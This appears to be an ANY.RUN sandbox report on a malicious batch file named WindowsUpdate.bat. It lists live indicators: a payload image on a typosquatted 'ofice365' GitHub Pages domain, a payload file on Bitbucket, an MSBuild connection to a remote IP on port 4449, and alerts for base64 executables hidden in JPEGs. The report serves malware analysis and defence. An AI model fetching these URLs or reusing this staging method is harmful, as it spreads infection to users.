54
DNS requests
16
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
304
20.109.210.53:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
unknown
—
—
—
3156
RUXIMICS.exe
GET
200
2.16.168.114:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3156
RUXIMICS.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
185.199.110.153:443
https://ofice365.github.io/1/test.jpg
unknown
image
5.48 Mb
—
—
—
GET
200
185.166.143.49:443
https://bitbucket.org/sambog/numenrt/raw/main/payload_1748317361_2041.txt
unknown
text
99.6 Kb
whitelisted
7676
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
7676
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
7676
SIHClient.exe
GET
200
2.16.168.124:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
whitelisted
—
—
GET
304
172.202.163.200:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
unknown
—
—
—
7676
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
3156
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3156
RUXIMICS.exe
2.16.168.114:80
crl.microsoft.com
Akamai International B.V.
RU
whitelisted
3156
RUXIMICS.exe
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
5324
powershell.exe
185.199.109.153:443
ofice365.github.io
FASTLY
US
shared
5324
powershell.exe
185.166.143.48:443
bitbucket.org
AMAZON-02
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1020
MSBuild.exe
178.128.97.207:4449
—
DIGITALOCEAN-ASN
SG
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.73.194.208
whitelisted
google.com
  • 142.250.185.238
whitelisted
crl.microsoft.com
  • 2.16.168.114
  • 2.16.168.124
whitelisted
www.microsoft.com
  • 2.23.246.101
whitelisted
ofice365.github.io
  • 185.199.109.153
  • 185.199.108.153
  • 185.199.110.153
  • 185.199.111.153
unknown
bitbucket.org
  • 185.166.143.48
  • 185.166.143.50
  • 185.166.143.49
whitelisted
dns.msftncsi.com
  • 131.107.255.255
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted
self.events.data.microsoft.com
  • 52.168.117.168
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted

Threats

PID
Process
Class
Message
—
—
A Network Trojan was detected
PAYLOAD [ANY.RUN] Base64 encoded PE EXE file inside JPEG image
—
—
A Network Trojan was detected
PAYLOAD [ANY.RUN] Stegocampaign Jpeg with base64 added (TA558)
—
—
A Network Trojan was detected
ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2
—
—
Exploit Kit Activity Detected
ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1
—
—
Potentially Bad Traffic
PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound
—
—
A Network Trojan was detected
ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
WindowsUpdate.bat